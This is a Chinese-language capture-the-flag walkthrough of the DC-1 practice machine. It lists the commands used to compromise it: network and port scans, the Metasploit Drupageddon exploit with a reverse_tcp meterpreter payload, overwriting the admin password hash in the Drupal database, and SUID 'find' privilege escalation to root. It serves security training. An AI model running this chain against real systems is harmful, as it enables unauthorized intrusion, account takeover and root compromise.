DC-1练习
配置
黑盒测试:不知靶机密码,仅需将靶机和攻击机置于同一网段即可,建议靶机开机后重启一次
正式开始
获取主机
arp-scan -l
除去网关地址,剩下一个192.168.20.132(我手贱,把192.168.20.2也设为网关地址了)
获取端口信息
nmap -sS -T4 -A 192.168.20.132
开放的端口:22(openssh 6.0p1)、80(Drupal 7)、111(rpcbind2-4)
发现web端口80,直接访问一下,看看有没有什么点可以突破,发现存在登录框,但是无法进行用户遍历,且密码输错5次就会被锁定:
看看Drupal 7 有没有什么相关漏洞
searchsploit drupal 7
发现有洞可以利用,那再看看msf里边呢:
也发现有可利用的模块,接着就是自己去一个个查看相关模块的信息了,看哪一个适用于7的版本(经测试,第3个能行)
use exploit/multi/http/drupal_drupageddon
set payload php/meterpreter/reverse_tcp
......
exploit
成功获取meterpreter
发现当前目录下有个flag1.txt,查看内容获取第一个线索:
提示需要配置文件,面向百度渗透,发现Drupal的配置文件位于/sites/default/settings.php,查看该配置文件,获取第二条线索:
线索里是这样说的:暴破不是获得权限的唯一途径,当你有如下认证信息时,你会怎么做?
既然已经获取了数据的信息,直接登录数据库看看,但目标靶机未开放3306端口,所以需要在获取的meterpreter上进行操作
shell # 进入靶机的shell
python -c 'import pty;pty.spawn("/bin/sh")' #用python起一个交互式的shell
mysql -udbuser -p # 连接数据库
show database; # 查看所有库
use drupaldb; # 切换至drupaldb库
show tables; # 查看当前库的所有表
select * from users; # 获取账户信息
发现密码是加密的,那么只需要知道加密方式,然后把自己的密码加密后替换数据库中的数据即可,于是开始找给密码加密的文件,最后在scripts下找到了password-hash.sh,使用该脚本将自己的密码,比如123456加密:
php scripts/password-hash.sh 123456
然后再回到数据库,用加密后的123456密码,替换掉原admin的密码(实战中可以先把admin的原密码保存起来,渗透结束后,还原回去)
update users set pass='$S$DoxpONtUgTEpb5sePgWixWCKVvywalYA2BcJM6KCZRt/GczjIKOw' where name='admin';
而后回到web端,使用admin/123456进行登录(如果账号被锁定,需要清空flood表,命令truncate flood
),随便点一个地方,即可看到flag3:
又是一个线索,提示需要在passwd和shadow文件中去找,通过passwd文件发现有个flag4用户,家目录为/home/flag4:
去到这个家目录下,发现flag4.txt,内容为:
提示在root权限下需要使用同样的方法获取flag,那此处便涉及提权了,linux提权的方法也有许多,比如脏牛、sudo、suid等方法,这里使用suid进行提权,先查看一下可以提权的命令:
find / -perm -u=s -type f 2>/dev/null
发现许多命令,包括find,那便使用find进行提权:
find ./ aaa -exec '/bin/sh' \;
注:需要指定为/bin/sh
,不然可能提权失败
还记得上一个提示吗?“用root使用相同方法”,那相同方法是什么呢?上一个线索是在家目录找到的,故这个flag应该在root的家目录下:
cd /root
ls
成功找到最终flag,查看一下内容:
cat thefinalflag.txt
完结撒花!!!
要点:
- 使用python起一个交互式的shell
- linux提权